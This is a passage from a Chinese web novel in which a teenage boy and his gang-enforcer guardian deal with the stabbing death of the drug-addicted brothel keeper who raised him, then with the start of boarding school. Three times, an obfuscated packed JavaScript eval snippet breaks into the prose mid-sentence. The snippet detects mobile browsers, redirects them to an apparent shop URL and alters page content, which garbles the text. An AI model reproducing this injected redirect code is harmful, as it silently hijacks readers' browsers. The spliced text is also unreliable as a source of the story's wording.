他回去后,崔盛在他面前把包里的钱拿出来点清,再带着他去银行办了张卡,将钱全部存进去,最后把卡交给白容生。 “这钱都是你的,想怎么花都行。”崔盛说,“我一分不会动,都是你的零花钱。” 录取通知书的一角折了,是昨天传阅的时候不知被谁碰到。白容生塞回旧课本下面压着,正好电话响起,他看了眼号码,提起地上的一袋子书,迅速下楼。 作为那座烂初中今年少数几个考上一中的人之一,还拥有着十分不错的理科成绩,白容生立刻被下一届的某位学生家长联系上了,询问他的旧书和笔记能不能卖。 对方开的价很慷慨。白容生这几天都在忙着整理,修订后,通知今天可以来取。 楼下一手交钱一手交货,对方父母都来了,揽着孩子,粗略翻看笔记确定没什么问题。 对面是个戴眼镜的女生,个子不高,一直偎在妈妈身上,看过笔记后点头。在交钱的时候,她还友善地祝福白容生未来在一中一切顺利。 白容生有点惊讶,想了想撕下一张便利贴,写了两句常见的励志标语,贴在书面。 卖完书,白容生毫无形象地蹲在楼底数完钱,给崔盛打电话。 他是挺想攒钱,不过这笔钱可以说完全是他自己赚的,花起来没有负罪感。他早就看中了一家两条街外新开的店,卖砂锅粥和炒菜,偏南方口味。 崔盛前段时间很辛苦,白容生认为有义务请他吃饭。 崔盛回来得很快,见白容生坐在树下的台阶上喝水,过去先用手指拎起那个外面掉漆的水壶,再用另一只手抹过白容生汗湿的后颈。 白容生被他摸得一缩,崔盛则晃了晃水壶,打开向里面看了一眼。 他月底才正式过十八岁生日,但可能有一种做家长的天赋。只要他能管得到,恨不得白容生的所有事都能管一遍。 水壶里面装的是自家冰箱冻的冰块,水是凉白开,晚上崔盛睡前烧好一壶,早上起来已经凉了。水喝了三分之一,崔盛确定够喝,才拿着水壶问:“请我吃饭?” 问这话时他眉梢一扬,摆明了不信。 白容生愤愤不平地向他展示刚到手的钱,崔盛吹了个口哨:“那几本书能卖这么多?” “请你吃饭还不够吗?” “太够了。”崔盛和白容生走出楼底的窄巷子,骑上他那辆不起眼的电动自行车,“这次你当老板,我真惶恐……是这么说吧?” 白容生评价:“文盲!” 这家店口味混杂,粥是鲜香清淡的口味,炒菜却都比较鲜辣。大热天吃得人一身是汗,白容生有点心神不宁,但没想到崔盛也是时不时走神的样子。 白容生一不小心吃到了一个辣椒,放下筷子喝水,总算问:“哥,为什么突然让我去住校了?” 跟着录取通知书一起来的还有“致家长的一封信”,说明了八月就要去学校。其中军训期间需要强制住校,军训结束后,住宿生除了超过两天的假期,一般都不能回家。 崔盛:“学校的环境肯定更好,你上高中了,不能再跟我这样的人胡混吧?” 白容生隔着粥碗眯起眼看他,崔盛若无其事,满脸理直气壮:“明天带你去买鞋,你那两双旧鞋子都要开口了。” “那个铁算盘是你老大之一?”白容生捏着筷子开始脑补,“他给你安排了什么神秘任务,所以你必须让我离开,不要拖累你,对不对?” 崔盛:“你是不是天天在家看电视把脑子看坏了?有空多看看书。” 白容生耸肩。崔盛仔细地看了他一会,说:“饭量大了不少,中考完一直在长个子,我看你这么矮,都是上学上的。” 老师听见估计要气死。 白容生暑假里确实饭量在不知不觉增长,他自己没意识,崔盛却很上心。发现他睡衣短了一截后尤其欣慰,庆幸白容生不至于一辈子都是小学生身高。 住校的事就这样敲定下来,白容生不知怎的心里还有些不安。 崔盛选在生日前一天带白容生去C市的百货商场买东西。他的书包、衣服鞋子、洗漱用品甚至内衣,崔盛认为都要更换一遍。 商场里买东西的新生不少,大多是家长带着来,少部分几个同学一起来。崔盛带着白容生这种搭配,就比较少见了。 白容生抱着包看崔盛在那里挑热水壶,一心二用地算钱。明天崔盛生日,他琢磨应该给准备一个惊喜,就是有些不知道买什么。 总不能送一把开光匕首吧? 他想着想着蹲下去,面前全是腿。崔盛一回头没看见人,差点以为白容生丢了,走过去看见人才松口气,用脚尖踢了踢他的鞋子:“演蘑菇呢?” “什么蘑菇?”白容生不屑,起身摸出开始响的手机,“有电话,是我姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168935|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……我去接一下,哥你在这等我。” 商场里人多又吵,白容生一开始还没听清。他拿着手机跑下楼梯,找到一个人少的角落,喂喂两声:“琴琴姐?” “喂?”那边信号也不好,过了会话语才清晰,“你是、你是方琴的弟弟,对吧?” 对面是陌生的声音,背景音嘈杂,白容生本能感觉到不对劲,和她确认:“方琴?” “对,”在几声比较清楚的“护士护士”的叫嚷声里,女人公事公办地说,“这里是二院,我看她给你备注弟弟,打了几个电话就你这里能接听。我听你年纪不大,家里大人在不在?来二院急诊,你姐姐状况不好,我们已经报警了。” 白容生在短暂的大脑空白后,记下了楼层。他不能确定对面是真是假,将信将疑,给方琴打个电话没接通,又翻通讯录。 除了方琴,洗头房里有自己手机的不多,他只存了雁红的号码。 雁红被叉子带走后就没再来过洗头房,白容生之后也没跟她见过面。 他等了半天,雁红总算接了,听上去很惊讶:“小白……?怎么了,是出了什么事?” 白容生尽力让语气听起来没有异常,问她能不能联系上方琴。五分钟后雁红再次给他打回来,变得凝重:“怎么回事?我也找不到她。” 这不是个好消息。考虑到雁红在逐渐脱离洗头房的环境,白容生没让她去联系,而是说:“可能生病了,我去看看。” “小白。”雁红却忽然打断他,迟疑半晌,“说实话,从小到大主要是方姐管你,我来洗头房的时候你都上小学了,咱们不算很亲。不过我想,你都离开那里了,能继续读书,还是少和那里有牵扯吧。” 白容生顿了顿,其实这也是他的想法。可是事到临头,他发现很多时候很多想法都像是小孩子赌气的话,根本不能当真。 最起码,就跟雁红说的一样,是方琴做主把他留下,还送他去上学。谁他都能狠下心不管,方琴不可以。 “我明白你的好心,但是我不能……” 雁红:“方琴跟你妈当初一样,染上瘾了,救不了,都是一个死字。” 白容生没说话。 他幼小时候的模糊记忆,他以为他早就遗忘的东西,猛然间像一座奔驰的列车呼啸而来,铺天盖地撞向他。他头痛不已,不得不回忆起女人蜷缩在角落里变形僵硬的肢体,过量吸毒使她的皮肤溃烂关节扭曲,死的时候如同可怖的怪物。 他又想到方琴最近不太好的脸色和那支加了料的烟,很快又用理智克制:方琴再怎样也没到那种过度的程度,不会变成那样的。 过了好一会,白容生沙哑地说:“我明白。今天打扰你了姐,我先挂了。” 他收起手机,还有些恍惚,手臂被人握住,接着是一只温热的手摸了摸他的脸。 “脸上怎么都是汗。”崔盛皱眉,“东西买好了,你看看。” 白容生心不在焉地扫了一眼,跟他说:“哥,我们去二院。” 崔盛一愣,虽然还不清楚情况,但开始拉着他向外走:“你同学生病了?” “不是,是方琴她在那里,我也不清楚情况。” 看着白容生神不守舍的样子,崔盛没说话。他带着白容生离开百货商场,同时拿起手机打了两个电话打听消息。 芳芳洗头房属于叉子的地盘,有人看场子,崔盛还真问到了。 方琴还是被两个看场的小混混送去医院的。只是这两个弱智天然心虚,看着方琴被刀捅,怕医院报警来抓他们,于是把人放下就跑。 “被刀捅?”白容生不可思议,“为什么?” 方琴能支撑洗头房开那么多年,为人一向圆滑,不会真的得罪谁。 崔盛:“听说是被……洗头房里的人捅的。” 白容生:“哪个客人疯了?” 崔盛:“不是客人。” 白容生反应过来,慢慢睁大眼睛。 13. 第 13 章 急诊几乎全天都是匆匆忙忙的,人多且乱。白容生心里最后的侥幸,也在抢救的手术室外消失了。 方琴被送过来时钱包还在身上,里面有她的身份证,倒是方便了医院确定身份。她是被两个小混混送来的,送她的人把她放下就跑,结果报警来的警察反而误以为是那两个混混捅了人逃跑。 还是崔盛说他和那两个混混认识,这次反而是两个混混做了件好事。 方琴是这一块警方登记在案的妓女,本来以为是他们帮派内斗或者和嫖客发生了矛盾,没想到听上去像是洗头房内几个女人产生矛盾失手杀人。 白容生捂着脸坐在手术室门外,崔盛摸了摸他的头发,给他放下一瓶水,陪两个警察去洗头房调查。 那两个看洗头房周围场子的小混混正蹲在门口抽烟,一看车上下来两个警察就想跑。崔盛骂了一句,让他们滚回来。 这两个傻子也不清楚具体情况,只说闲逛到这边听见洗头房里面有女人吵架,就想来凑凑热闹。结果他们刚走到门口,方琴就从里面跌跌撞撞冲了出来。 他们看见方琴半个身上都是血,话说不清,肚子上还插着一把刀,也是吓得不行。两人凑一起商量了下,从路边抢了辆推车把方琴推到最近的二院,又不敢进去怕被误认为凶手,放下人转头就跑。 这种被派来白天闲逛巡逻的基本都是所谓“刚上道”的小子,出去打架能拿把水果刀吓人就不错了,暂时没有真捅人的胆子。 C市警察见多识广,推测可能是分钱问题导致激情犯罪,握着枪进去搜查。 崔盛靠在大门口,白天洗头房里面没开灯,光线昏暗,地上还有一串暗红的血迹。 一楼乱糟糟的,散发着夏天淡淡的潮湿霉味。他无意识抬头望了一眼,想找之前白容生那个小房间的窗户,但没找到。 医院走廊的窗户能照进来阳光,让人身上发热。后背又是空调的冷风,让身体半冷半热。 白容生从洗手间出来,在拐角处蹲了会,终于听见医生出来叫:“方琴,方琴的家属在吗?” 他跟等待的警察一起过去,医生摘下口罩,满脸疲惫,对他们摇了摇头。 * 人的生死在这个城市就像儿戏一样,比如白容生的出生,比如这么多年他在洗头房见过的形形色色的死亡方式。 杀死方琴的是洗头房的秦青,她没跑,留在洗头房换了衣服洗干净手,被警察带走了,如实交代。 秦青两年前来的洗头房,她不住在这里,在附近另外租了房,和男友一起住。本来她是跟着男友来打工的,没想到男友的打工是做小混混,于是她也跟着进了洗头房。 “睡来的又怎么样?”她在审讯椅里抠着指甲,头都不抬,“老娘睡也是辛辛苦苦睡来的,比打工赚得还多,结果那婊子偷偷把钱都塞给她那个野种,我就是看不惯找她吵,怎么样?捅死她是她活该咯,我就拿着桌上的水果刀,没想到能捅死人嘛……” “什么叫那是她的钱?一群小学都没上完的娘们,账算也算不明白。其他人都是从方琴手里拿钱习惯的,我可不是,姑奶奶好歹也是上完初中,钱我都是跟方琴算得清清楚楚。她凭啥拿我的钱去乱送人?我再说一次,被捅是她活该!” 女人带着厌恶的尖利声音传到门外,边吃方便面边陪白容生和崔盛一起旁听的警察努了努嘴:“她男友拿着家里的钱去另一个洗头房睡觉,两人吵架,男的又去她工作的地方闹。估计闹完热血上头,吵着吵着就翻脸了。这都什么事,大热天的全是麻烦。” 这里的警察可没那么多规矩好讲,况且吵着架抄起刀把人杀了也是司空见惯,正经审讯室都懒得开。白容生作为受害者家属旁听凶手供述完毕,就被领了出来。 他背后都是冷汗,再被空调一吹,不由打了个寒颤。崔盛注意到,没说话,往旁边走了一步把风挡住。 秦青手里没什么钱,她男友望风而逃,留下一间脏兮兮的出租屋。赔偿是没的可能,而洗头房的账更是不可能算清,究竟是不是方琴拿了她的钱,谁也不知道。 不过,方琴吸毒这件事板上钉钉,她最近也明显多拿钱去私下买“货”,整个洗头房都能证明。白容生看着警察展示的从方琴房里拿出的东西,没说话。 从警局出来,已经是晚上了。 白容生走下台阶时没踩稳,差点摔了一跤。这让他清醒了,反而崔盛以为他状态不好,硬要背他。 白容生坚定拒绝,但还是张开手环住崔盛的脖子抱了一会。 “走吧哥,”他蹭了下崔盛的脸,来自另一个人身上的热度让他感觉好受多了,“我们去吃面条。” 老母鸡汤煮的手擀面,面条微黄筋道,配菜不多,很简单,滴了点鲜红的辣油。白容生吃得很慢,额头和鼻尖都是汗。 他停住筷子,崔盛看向他,问他:“缓过劲来了?” 白容生长长叹气,他说:“葬礼怎么办?” “明天去洗头房那边问问吧,她们不愿意办的话,我叫人来帮忙。” 白容生点头,过了会又说:“之前她给我钱,我就不该收的。” 崔盛已经吃完了,坐在露天桌边蜷着长腿,点了根烟:“不怪你,跟你没有任何关系。” “我也没早点注意到她在吸那些东西。” 崔盛衔着烟注视他:“你早晚要离开那里的。再说,这种事,她比你更清楚最后的下场是什么。” 白容生捧起碗喝汤,忽然抬头问:“哥,那你在去做打手的时候,知道做打手的人最后下场都是怎么样吗?” “打死别人,或者被别人打死。”崔盛无所谓地说,“没办法,被打死总比饿死强。再说我心里有数,一般人打不死我。” 晚上出门前,崔盛还在卧室开了盏小夜灯。他前半夜要出去看场子,白容生知道他是怕自己害怕,倒在床上看那盏从旧货市场买回来的小灯。 他断断续续地睡,生怕错过时间。零点过半,崔盛刚推门进来,被沙发上的白容生吓了一跳:“睡不着?” 白容生终于等到他回来,说着“不是”,跑过去打开冰箱,从里面提出一盒蛋糕。 这是他提前订好的,托楼下的大姨帮忙收在冰箱,瞒过崔盛。本来考虑再给崔盛买个礼物,但是没想到方琴出事,把他的计划都打乱了。 C市像模像样的甜品店都没有几家,这家说是什么冰淇淋,也就是表面淋了一层疑似冰淇淋的东西。 天热,难免化了点,花纹有些糊了。 白容生灵机一动,把大灯都关了,这样崔盛就看不清。 无论如何,他认为该给崔盛的生日还是要过的。 崔盛低头看见蛋糕,好像很惊讶,一时间没出声。 白容生不是那种活泼的性格,见他不说话,也沉默了一会才试探地说:“嗯……生日快乐,成年快乐?” 说对了吗?蛋糕会不会很难吃? 白容生思考中,拿着刀去冲洗,还没关上水,崔盛忽然走进厨房,从背后把他抱了起来。 他吓得叫了声,赶紧把手里的刀举起来。崔盛问他:“给我买的?之前蛋糕藏哪里了,我都没看见。” “电话订的,让上次你去借电磁炉的阿姨帮我先取了……你放我下来!” 崔盛把白容生扔回沙发,白容生将刀给他,让寿星切蛋糕。 “没切过。”崔盛漫不经心地打量蛋糕,上手一刀从中间划开,完全不管上面的花纹式样,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168936|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样可以?吃吧。” 白容生:“不是吧,你第一次吃蛋糕?” 崔盛:“之前不过生日。再说,成年有什么好的,被抓了的话判得重。” 白容生:“……能不能说点好听的。” 崔盛其实耳后一直发热,不过没表现出来。他对白容生笑了笑,忽然弯腰,和他顶了一下额头。 “不过有你在,我肯定要努力不进去,不然出来你饿死了怎么办。” 白容生:“也盼我一点好吧。” 蜡烛都没点,蛋糕就两半了。白容生心想随便吧,感觉许愿那种自我安慰行为他们都不需要。 融化的冰淇淋混合奶油,吃起来很甜腻,好在店家蛋糕胚给了不少,口感还可以。 两人头对头吃了几口蛋糕,白容生思来想去还是决定说几句祝福语,最后诚恳地说:“哥,祝你发财。” 崔盛笑了:“这么直接?我只能祝你考上大学了。” 剩下吃不完的蛋糕被塞进冰箱,崔盛冲完澡和白容生一起躺在床上。黑暗里只有风扇的响动,白容生不知不觉抱住崔盛的手臂。 崔盛也不嫌热,轻轻拍了拍他的肩后,心想,才十五岁。 那些在正常家庭长大,只用烦恼成绩和叛逆期的孩子是十五岁,崔盛手下每天抽烟打牌街上闲混的小子们是十五岁,现在趴在他怀里半睡半醒的白容生也是十五岁。 崔盛试图回忆他的十五岁,然而记不起什么清晰的画面。他那时候只是底层的打手,没多少技巧,出头靠的是满身不要命的狠劲。 他其实想过,他二十八岁捡到白容生还差不多。能活到二十八,不是做老大,就是要“退休”走上正路,总之,发不起狠了。 十八岁的时候身边就有让他不舍得拼命的人,按理来说是坏事。 但是以铁算盘透露的信息来看,叉子反而对此满意。他很害怕手里的刀是真的无牵无挂、无所畏惧,只要崔盛有了挂念,他就更容易保证崔盛的忠诚。 铁算盘想的更深一层。他曾经是在南方读的财经大学,毕业后就进入当地一家大公司,后面给老板顶罪进去几年,出狱后靠狱里的关系联系上叉子,回到老家来给大混混做二把手。 他深知像叉子、大雁这些人目前粗糙的事业,撑不了两年就得散。况且现在想办法洗白上岸是大趋势,迟早也要轮到C市,到那时叉子这种文盲,还不被玩得像傻子一样。 如果有精通游戏规则、会钻空子的聪明人掌舵,那么下个十年就是黄金十年。 他冷眼旁观,白容生和崔盛之间是真的亲密,就决定让崔盛先一步慢慢洗白,不要在背景上拖累白容生。 等白容生三年后读大学,钱是他们出的,唯一的哥崔盛也在他们手里,再加上利益无限,一定会回到这里。 甚至为了让白容生安心读书,铁算盘还主动在一中附近看好了一套租金不低的房子,只要崔盛点头,就可以直接带着白容生住进去,分钱不花。 叉子在那附近有一间洗车修车店,崔盛平时就在那边看店和做做杂活,明面上逐渐减少与他们的联系。 安排得如此全面,滴水不漏,谁看了不会感动呢? 崔盛半睁着眼看天花板,心里没有波澜。 他自己跳火坑没什么,可不能把白容生向里面推。给叉子打一辈子工,还是给铁算盘这个老狐狸干活? 这两人算老几。 他十八岁了,他成年了。他有义务保护好白容生…… 崔盛把白容生的姿势调整了一下,免得他睡不舒服。动作时他的手指还碰到了柔软的黑发,他忽然发现一个事实。 方琴死了,从今以后,白容生的身边只有他,而他也只有白容生。 14. 第 14 章 方琴葬礼的钱,大头是洗头房她的几个姐妹出,白容生打算再添点,崔盛直接掏了这个钱。 他不想欠崔盛的,毕竟崔盛和方琴又没有关系。不过崔盛态度坚决,说我们两个的钱还分那么清,白容生就不再说了。 天热,殡仪馆那边也放不了多久,葬礼定在三天后,不大办。 方琴生前的部分人缘还算念旧情,送来的花圈和钱再凑一凑,也算是凑出一个还看得过去的葬礼。 白容生没想到雁红也来了,她跟以前在洗头房的样子不大一样,冲他和崔盛微微点头。洗头房的几个女人对她态度平淡,她似乎也清楚,献完花后没多留,坐进车里离开。 方琴没有什么亲戚,更是几年没谈恋爱。白容生就当作她半个儿子,火化完去捡骨房把她的骨头捡进罐子里。 做完这一切,他才有种方琴确实已经离去的实感。 仪式在下午三点多结束,洗头房几人琢磨公墓太贵,把方琴骨灰罐埋回洗头房后面的空地算了。 她们都不介意,白容生也没什么好说的。方琴这辈子的“事业”就是她的芳芳洗头房,埋回去估计她也高兴。 “洗头房还继续开下去吗?”白容生问。 “不知道啊,看着办吧,能继续干就干,别的我们也干不来。” 路口,白容生和崔盛下车,看着车向洗头房开去。白容生意识到一件事:属于他的地方,只有他和崔盛一起睡觉的那个旧房子。属于他的人,只有身边的崔盛。 或者说从他出生后,他只短暂拥有过几个月属于他的父母,现在经过十几年,只有崔盛是属于他的人。 崔盛买了根奶油味的雪糕,拨开塞给白容生。 白容生吃了两口感觉冰牙,剩下的还给崔盛。等雪糕化开没那么冰了,他又抢回来吃完。 吃完后他扔掉雪糕棍,面对垃圾桶原地思考。崔盛嫌弃味道难闻,拽着他走开两步,白容生却跟原地复活一样说:“马上要去军训,我又不想住校了。” 崔盛说的对,他是要离开这里的。无论什么都不能阻止他。 但是人的心理很奇怪,之前白容生信誓旦旦认为住校是小问题,可是真到了即将开学的时候,他又觉得崔盛那间破屋子还挺好的。 崔盛几乎下意识就想说,那不住,去校外租房子。可是他忍住了这句话,只眼睛看着白容生。 白容生就是和他抱怨两句,心里还是接受了住校的事实。 住校生要提前一天报到,打扫宿舍。崔盛买了个大行李箱,还准备了一个大背包,白容生怀疑他是想把整个卧室搬过去。 “椰子壳就不要了吧。”白容生盘腿坐地上收拾东西,喝止崔盛的过分行为,“你只拿必须的生活用品就可以了。” 尽管如此,那箱子还是沉得吓人。 白容生在客厅里试探地推了推,再次打开检查,简直无言:“哥,你为什么把我初中的书塞进去?” 崔盛一概回答:“说不定用得到。” 白容生放弃和他争论。 一中的走读生和住宿生比例大概一半一半,进校门后先去公告栏看分班表和宿舍表,按班级去楼下排队登记。 白容生中考分数差了一点,没能进重点班。他本人还是看得开的,倒是崔盛知道后有些不开心——他一向认为,白容生什么都是最好的。 “七班,七班过来这边。”一个戴着眼镜,身材高壮的中年男人举着喇叭,嗓音浑厚地喊,“七班的同学和家长,都来这边。” 白容生看了眼手里抄写的纸条,没错,七班、白容生、班主任冯少平。 他们算是来得早,毕竟一中是老学校,地址不偏,接近市中心,基本上住在市区的家长,都会选择走读。大多是周边乡镇的学生会住宿,或者家远又不愿意租房的。 冯少平眼光老辣,远远看着白容生往这边来,就格外专注地盯了眼他身后的崔盛。 崔盛今天专门套了个长袖,免得肩后的纹身露出来。只是气质太明显,一看就不是好人。 “学生的家长?”冯少平边看白容生的资料边向崔盛确认,“你是他哥哥?” 崔盛:“嗯。” “亲哥?” 崔盛一顿,稍微有些不情愿,还是说:“表哥。” 冯少平点头,看着白容生填写信息:“白容生,是吧?家里大人呢?” 正问着,他看到白容生后面的具体档案了,赶忙停住。但白容生已经抬头平淡地说:“爸妈都死了。” 冯少平立刻态度转变如同春风化雨,拍了拍他的肩膀:“你是用功的好孩子,哥哥这么年轻,带你过来也辛苦了。渴的话去教学楼一楼饮水机接水,下午我会去咱们班上同学宿舍都看看的,有什么问题一定及时和老师讲。” 白容生来不及表达自己心态坚强,冯少平就已经关怀完他还不够,顺便关怀了几句他眼里“混混样”的崔盛,让他们有困难一定要申请助学金。 宿舍楼在后面,学校的路新修过,行李箱拖着很顺畅。崔盛道:“你们班主任还挺负责。” 白容生:“嗯?” 崔盛:“这样我也放心一点。” 白容生觉得他像个老父亲,忍不住想笑。崔盛皱眉看他,问笑什么,威胁地在白容生后颈掐了一把。 “你长高了。”他满意地说,“衣服小的话给我打电话,我再给你买。” 白容生:“更像我爹了。” 崔盛让他滚:“我才不当你爸,有那么老吗?” 在宿管那里登记完就可以取得宿舍钥匙。白容生运气好,他们宿舍没住满,只有三个人。 等他推门进去,才发现里面已经有一个人。 男生个子瘦高,戴着眼镜,气质有点阴沉沉的,看见人进来也只是默不作声扫了眼。他没有家长陪着,独自在那里擦床板。 对方没有打招呼的样子,白容生自然也不主动说话。他和崔盛商量几句,就端着盆去接水洗抹布。 接水的时候白容生回忆宿舍名单,他的两个室友分别叫徐桥、李舜,不知道外面那人是哪个。 有崔盛在,白容生收拾得很快。眼镜男生还没弄完,白容生的床位已经好得差不多了。 直到这时,宿舍门才在喧闹中被推开,涌进来一大家子人。 “你好,你好,你们好!”当先走进来的男生只比白容生高一点,脸庞白胖,笑容满面,拜年一样进门先拱手,“室友们好!大家都来得这么早?” 他身后是和他几乎一个模子刻出来的家长,全是白胖敦实的身材,一团和气的脸,争先恐后地打招呼。崔盛作为“家长”,避无可避,被抓着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168937|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手不放,问候完一个二大爷,又接着问候一个姑奶奶。 这个白胖的室友叫李舜,那么眼镜男就是徐桥了。 宿舍里两张铁架子床,上下铺四个床位,中央水泥地放着并排的四张桌子,柜子和盆架都在另一边。洗手间是单独的,浴室每层公用。 白容生睡在李舜上铺,徐桥睡对面下铺。虽然李家人主动跟徐桥说话,可他低着头胡乱应两声就拿着东西出去了,不知道是躲去哪里。 李舜就只好抓着白容生絮絮叨叨说废话,还从包里掏出一卷泡沫纸缠楼梯:“我以为我会睡上铺呢,专门买了这个,不用白不用,你看这楼梯都锈了……” 他人不错,就是太热情,整个寝室吵得不行。直到冯少平查看这个宿舍,推开门后也被满屋的人吓了一跳。 “好好好,我知道,知道,都明白。”他花了好几分钟和一圈人握手后,招手叫白容生和李舜靠近。 “我看徐桥不在,他出去了?” 见两个学生点头,冯少平伸手揽住他们肩膀,“徐桥情况比你们特殊,他家里没人管,母亲离婚又嫁人了,父亲还在坐牢。他还有个哥哥,是通缉犯还是什么……小孩性格孤僻,你们是舍友是同学,互相多照顾,有情况私下跟我讲。都有手机没?” 白容生知道学校规定是不让带手机的,没说话。李舜倒是毫不迟疑,响亮回答有。 “记下我号码,有事随时联系我,我就住学校后面的教师宿舍。” 冯少平走后,崔盛也准备走。 白容生要送他,和他一起走到宿舍楼下,忽然问:“哥,那天家里来那么多人,找你有事吗?” 像是没想到他突然问这个,崔盛敷衍过去。白容生却挡在他面前,执着地说:“我觉得那个叫铁算盘的很奇怪。” 崔盛掰着他的肩膀把他转回去:“跟你没关系,好好上学,我会处理的。” 他没去住那所房子,而是把白容生送来住校。铁算盘最迟今晚也会知道,但是崔盛知道他大概率不会发火。 铁算盘自诩高级知识分子,最看不上粗俗的暴脾气和打打杀杀,他会想办法让崔盛自愿屈服。 不过只要白容生好好待在学校,基本上就不会被那些烂事波及。 崔盛把随身的旧钱包塞给白容生,“里面的卡密码是你生日,钱不够就用里面的。” 白容生的眉头皱着,他捏着钱包没说话。 他沉默,崔盛也沉默,在宿舍楼下僻静的角落看着他。 “哥。”好一会,白容生问,“你之前是不是说过,我们无论谁的事,都是家里的事。” 这个两人组成的简陋的“家”,好像从一开始就不存在只属于一个人的问题。 崔盛不说话。白容生双手环胸,盯着他:“在瞒着我什么?还是不能跟我说,哪怕这件事和我有关?” 他有点咄咄逼人地身体前倾,仰着头看崔盛的表情。崔盛扭头,很快又无奈,“因为你没办法解决。” “白容生,你还太小了,你不能解决的事情,告诉你也只能白白给你增加压力。”崔盛微微弯腰把白容生抱起来,“好了,回宿舍吧,军训结束我来看你。” 让白容生听话很难,必须得拿出能说服他的证据。崔盛这个理由无法反驳,白容生有些不高兴,但也只能暂时作罢。 15. 第 15 章 “欸,白容生。” 休息时间,白容生在树底坐下,李舜立刻也拿着水坐他旁边,鬼鬼祟祟地左右看了看。 白容生看他满脸做贼心虚的样,奇怪道:“怎么了?” 李舜摘下帽子扇风,凑过来低声问:“小白,你觉得咱们那个室友,是不是有点奇怪?” 军训已经接近尾声,教官管他们也不像之前那么严格了,休息时间挺长,还可以去偷偷买水。 李舜家庭条件不错,家里给生活费也给得很大方,他人热情,抬手递给白容生一瓶西瓜汽水:“拿着,我请你的,不用还。” 白容生已经清楚他的性格,知道李舜不在意这些。 其实他缺少和同龄人社交的经验。黎敏跟他不是一个班,还是女生,平常只有路上遇见打声招呼,李舜这个室友算是他难得一个关系不错的同学。 白容生心里有账,喝过他的水就会记得请他吃早饭,没推辞收下了,目光示意:“徐桥,他怎么了?” 李舜凑近放低声音:“你最近有没有少东西?” 近距离下,白容生双眼眯了眯,睫毛投下一片浓重的阴影:“他偷你东西?” “哎不是不是,也不能这么说。”李舜满脸纠结,“看来你没少,我、我就是有时候会忘事,不知道是被我弄丢了还是……” 刚开学,又都是室友,假如李舜搞错了,接下来就会十分尴尬。 “丢了什么?” “我备用的旧手机。”李舜嘟囔,“虽然二手的不贵,但那个是我表哥出国前送我的,有纪念意义……” 白容生想了两秒,“告诉老冯吧。” 李舜有两个手机,平时用的是某大牌的最新款,学校里老师绝大部分都不舍得买。他那个备用的手机其实也就上市一年多,拿出去在二手市场的价格不会很低。 而且李舜平时吃穿用度都是突出得好,住宿舍纯粹是因为他喜欢集体生活,白容生猜手机大概率是被偷走了。 这种事还是交给班主任来处理更妥当。 可李舜却不乐意,仍然吞吞吐吐。 白容生观察他的神态,想了想,冷不丁说:“你是不是知道是谁拿的。” 李舜眼里,白容生是那种典型的励志三好学生,模样俊秀,性格安静平和,学习用功,人品也靠得住。因为这些他才愿意亲近白容生,没想到白容生会突然这么迫人。 “我、我……” “徐桥偷了你的手机,你不想告诉老师?”白容生又说。 李舜:“你别猜那么准吧。” 白容生发出一声轻笑,脸上却没什么笑意:“怎么回事?” 前两天突然高温,班里好几个体质不好的站不住,都请假去休息了,包括李舜和徐桥。 徐桥在休息中突然开始呕吐,拒绝去校医院,而是摇摇晃晃回了宿舍躺下。晚上白容生和李舜回去的时候,他已经睡了。 只有这段时间,徐桥一个人在宿舍。 但李舜却说:“不是的,那天我正好把两个手机放桌上充电,回来时手机都在。是……是那天晚上,我下午坐在操场边睡久了,半夜醒过来,徐桥站在我床边。” 李舜和徐桥睡的是相对的下铺,凌晨李舜半梦半醒,看着徐桥站在黑暗里,顿时被吓得浑身冷汗。 他不敢出声,闭上眼装睡,听见徐桥缓慢走到桌子前。一阵窸窸窣窣的动静后,徐桥走回来,又在床边站了会,才回到床上。 李舜胡思乱想,第二天没敢说。直到他今天早上发现手机不见了,才过来试探地询问白容生。 “虽然说徐桥可疑,可是他不至于那么蠢吧。”白容生听完,皱了皱眉,“手机丢了,肯定先查室友,军训期间又不能出校,他能把手机藏哪里去?” 没想到李舜就等他这句话似的,一拍手:“对啊,我就觉得……不太能吧。而且他大晚上站在那里太吓人了,谁知道他是不是每晚都这样,我不敢惹他。你说我是不是放在哪里,忘记了?” 李舜性格软和,白容生是看出来了。他让李舜装不舒服,和教官请假,就这样扶着装晕的李舜回了宿舍。 宿舍能收纳东西的地方,除了每个人的桌柜,行李箱,就只有床上。白容生帮李舜翻了圈一无所获,他目光落在徐桥上铺。 徐桥把他上面的床板也收拾了一下,铺了层塑料布。他的很多东西都放在上面,和白容生及李舜的分开。 